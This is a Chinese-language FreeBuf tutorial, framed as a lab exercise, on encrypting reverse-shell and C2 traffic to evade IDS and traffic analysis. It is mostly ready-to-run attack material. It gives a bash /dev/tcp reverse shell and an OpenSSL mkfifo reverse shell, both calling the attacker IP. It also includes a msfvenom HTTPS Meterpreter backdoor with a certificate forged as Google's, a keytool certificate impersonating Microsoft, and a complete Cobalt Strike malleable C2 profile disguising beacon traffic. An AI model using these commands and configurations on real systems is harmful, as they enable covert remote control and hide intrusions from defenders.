freeBuf
渗透测试之地基流量加密篇:SSL、MSF、CS三种方式进行流量加密
2020-12-29 16:42:58

系列文章

渗透测试之地基钓鱼篇:thinkphp平台XSS钓鱼

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,往往需要反弹 shell,如果反弹 shell 都是明文传输,那么内网里有 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很快被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。

那么蓝队发现红队的行为特征判断后,进行阻断红队行为,红队就无法进行渗透行为了...今天将介绍常用的nc反弹shell、MSF监听反弹shell、Cobalt strike 4.0拿shell,三种方式如何进行流量加密,如何过IDS或者防护软件分析设备和工具的。

此次利用wireshark抓包进行模拟流量分析设备进行演示!!

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者):

IP:192.168.175.145

系统:kali.2020.4

VPS服务器:

此次模拟环境将直接越过VPS平台钓鱼拿到对方的shell过程!!

办公区域:

系统:windwos 2019

IP:192.168.2.142

linux系统:kali.2020.4(模拟linux服务器)

IP:192.168.2.141

目前黑客通过kali系统进行攻击行为,发现漏洞后获得了linux和windows 2019两个办公区域系统的权限,使用了nc反弹shell、MSF生成的shell、Cobalt Strike 4.0生成的shell进行反弹...获得了最终的控制权限,但是办公区域存在IDS等流量监测设备,为了防止被监控,将演示三种不同方式拿反弹shell后如何流量加密,不被IDS等流量监测设备发现!!

三、Nc正常拿shell

Nc(瑞士军刀)它也是一个功能强大的网络调试和探测工具,能够建立需要的几乎所有类型的网络连接,支持linux和windows环境,红队喜爱工具之一....

这里演示NC正常拿shell情况下,如何被对方流量监控到的....

1、初步环境

1609226518_5fead916e4ec43968aff6.png!small?1609226522381

该图可看到攻击者和被攻击者IP情况...

1609226548_5fead934196fc1c2f3864.png!small?1609226549366

攻击者开启NC监听本地8888端口!

nc -vlp 8888

1609226604_5fead96c4c3850aff3c67.png!small?1609226605262

被攻击者端开启Wireshark进行流量实时监听分析!

2、拿shell监听

1609226651_5fead99bd2ce4589e2891.png!small?1609226653151

使用Wireshark对eth0进行流量抓包分析,被攻击端执行一句话shell命令:

bash -i>& /dev/tcp/192.168.175.145/8888 0>&1

1609226824_5feada487d37be38e841a.png!small?1609226829225

攻击方利用nc,通过反弹shell方式获得了控制权限...

1609226879_5feada7fa14a9e059e5e0.png!small?1609226882478

攻击者进行信息收集命令操作,被攻击者Wireshark一直在监听着!!

3、流量分析

1609227136_5feadb80e82a5b7eb6060.png!small?1609227137810

这边我们来到被攻击者主机上查看下抓包信息,选择TCP流信息...

1609227177_5feadba9e791bd518e898.png!small?1609227179971

可看到未加密的情况下,流量设备是可以查看到攻击者的行为记录的!!!

那么接下来将演示如何进行流量加密!!

四、OpenSSL流量加密

OpenSSL进行加密拿shell,和NC的性质是类似的,都是通过/bin/bash获得shell,接下来将用OpenSSL进行演示流量加密!!

1、OpenSSL证书

1609227615_5feadd5fb45dd7ca2209a.png!small?1609227616904在kali上使用OpenSSL生成自签名证书:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

成功生成后,在桌面有两个pem加密文件key!!

2、成功提权

1609228410_5feae07a577f65af2479f.png!small?1609228415802

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888 #开启监听

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.175.145:8888 > /tmp/s; rm /tmp/s #反弹shell命令

成功通过Key加密获得了控制权限,并执行了相应的控制命令!!行为都被WireShark流量进行监控了!!

3、流量分析

1609228655_5feae16f99b21d06401a8.png!small?1609228659004

通过TCP流查看到的信息都是乱码,经过了加密!

五、Metasploit流量加密

Metasploit在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能

避免审计工具检测出来,开始演示!

1、创建 SSL/TLS 证书

1609229160_5feae36832b701ff902e8.png!small?1609229161612

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \

-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \

-keyout www.google.com.key \

-out www.google.com.crt && \

cat www.google.com.key www.google.com.crt > www.google.com.pem && \

rm -f www.google.com.key www.google.com.crt

这里模拟的是google的SSL证书信息!!可自行修改可信度高的证书!!

1609229363_5feae43365f741148946f.png!small

检查google的key生成情况,正常!!

2、生成后门

1609229349_5feae4258ae6b64657540.png!small?1609229350331

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.175.145 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o dayu.bat

成功生成后门,可根据情况进行修改IP和端口!!

3、设置监听

1609229495_5feae4b762882960ff89d.png!small?1609229496069

set payload windows/meterpreter/reverse_winhttps

set LHOST 192.168.175.145

set LPORT 443

set HandlerSSLCert /root/Desktop/www.google.com.pem

set StagerVerifySSLCert true

exploit

配置侦听器时还需要使用两个附加选项HandlerSSLCert和StagerVerifySSLCert。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。

这里set HandlerSSLCert路径文件需填对!!

1609229594_5feae51a517d692d2f01e.png!small?1609229594998

被攻击者成功访问到开启的HTTPS-SSL!!

1609229622_5feae536937f901d3991f.png!small?1609229623714

查看伪造的SSL证书!!

4、成功控制

1609229650_5feae5527d8db50543d3c.png!small?1609229654525

成功控制对方,并执行命令进行后渗透,在被攻击者流量工具分析上查看到流量已经经过了SSL加密,并查看TCP流中信息都是加密后的乱码信息....成功流量加密!!

六、Cobalt Strike 4.0流量加密

cobalt strike是很多红队的首选的攻击神器,在后渗透方面效果显著很好,导致很多IDS入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。

接下来将演示如何CS进行流量加密!!

1、CS证书生成介绍1609230002_5feae6b20d4f778866615.png!small?1609230002615

在运行cobalt strike默认使用的cobaltstrike.store证书,这里使用新的技术生成新的证书来逃避IDS检测!

2、证书生成

1609230220_5feae78cd685a95b72a2a.png!small?1609230221653

keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore dayu.store

1609230239_5feae79f1aabdb10339ff.png!small?1609230240111

利用keytool生成了一个证书,具体的可进行修改!!

输入密钥库口令:

密钥库口令太短 - 至少必须为 6 个字符

输入密钥库口令:

再次输入新口令:

您的名字与姓氏是什么?

[Unknown]:  dayu

您的组织单位名称是什么?

[Unknown]:  Microsoft

您的组织名称是什么?

[Unknown]:  Microsoft

您所在的城市或区域名称是什么?

[Unknown]:  US

您所在的省/市/自治区名称是什么?

[Unknown]:  US

该单位的双字母国家/地区代码是什么?

[Unknown]:  en

CN=dayu, OU=Microsoft, O=Microsoft, L=US, ST=US, C=en是否正确?

[否]:  y

需要输入密码、以及一些基本信息后,成功生成dayu.store证书!!

3、创建C2-profile文件

这是cs内置工具,用于控制cs流量,可以防止安全设备对流量特征进行监控和拦截!!

1609230524_5feae8bcc4ab386139885.png!small?1609230526936

set sample_name "dayu POS Malware";

set sleeptime "5000"; # use a ~30s delay between callbacks

set jitter    "10";    # throw in a 10% jitter

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

#设置证书,注意以下内容得和你之前生成的证书一样

https-certificate {

set CN      "dayu";

set O        "Microsoft";

set C        "en";

set L        "US";

set OU      "Microsoft";

set ST      "US";

set validity "365";

}

#设置,修改成你的证书名称和证书密码

code-signer{

set keystore "dayu.store";

set password "dayu123";

set alias "dayu";

}

#指定DNS beacon不用的时候指定到IP地址

set dns_idle "8.8.4.4";

#每个单独DNS请求前强制睡眠时间

set dns_sleep "0";

#通过DNS上载数据时主机名的最大长度[0-255]

set maxdns    "235";

http-post {

set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

client {

header "Accept" "text/plain";

header "Accept-Language" "en-us";

header "Accept-Encoding" "text/plain";

header "Content-Type" "application/x-www-form-urltrytryd";

id {

netbios;

parameter "id";

}

output {

base64;

prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";

print;

}

}

server {

output {

print;

}

}

}

http-get {

set uri "/updates";

client {

metadata {

netbiosu;

prepend "user=";

header "Cookie";

}

}

server {

header "Content-Type" "text/plain";

output {

base64;

print;

}

}

}

创建dayu.profile文件,主要需要修改的是https-certificate和code-signer两处地方,对应keytool填写的信息即可!!!

1609230619_5feae91b99873c5bd16b6.png!small?1609230620429

1609230626_5feae92206e80439c865d.png!small?1609230627153

利用CS的c2lint来验证dayu.profile是否成功生成和执行!!可看到是成功的!!

4、配置teamserver

teamserver默认端口是50050很容易被检测出来,我们将修改端口防止被检测出来...

1609230735_5feae98fadc35f4e5b16f.png!small?1609230736583

vi teamserver进行配置,修改成40567端口!!

1609230762_5feae9aa775695b14e6c3.png!small?1609230763386

nohup ./teamserver 192.168.175.145 11111 dayu.profile &

利用nohup运行teamserver,放在后台运行,避免shell关闭teamserver也关闭!!

5、开启Cobalt Strike

1609230836_5feae9f4b548bd88d4964.png!small?1609230837064

打开CS,端口和刚修改的teamserver配置一致!

1609230862_5feaea0edffcf7ab85edb.png!small?1609230863300

进入后创建Linsten监听,选择HTTPS!!

1609230887_5feaea278a206c0769a18.png!small?1609230888633

可看到成功建立了HTTPS证书信息!!

6、成功控制

通过Cobalt strike生成的各种shell,在进行免杀!

1609230911_5feaea3fe5c502dc7047b.png!small?1609230916102

被攻击者执行免杀shell后,攻击者成功控制系统,执行了相对应的命令后,在Wireshark查看到Tcp流信息是经过加密传输的乱码形态!!成功加密!!

七、总结

通过OpenSSL、keytool等方式进行证书生成,并利用证书等形式进行流量加密,能对如今非常流行的反弹shell、MSF、CS工具进行使用,能更好的在后续渗透阶段扩大战果而不被发现阻断,放大还有很多,只是拿出了几个典型的方法来演示给大家学习!!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余


本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录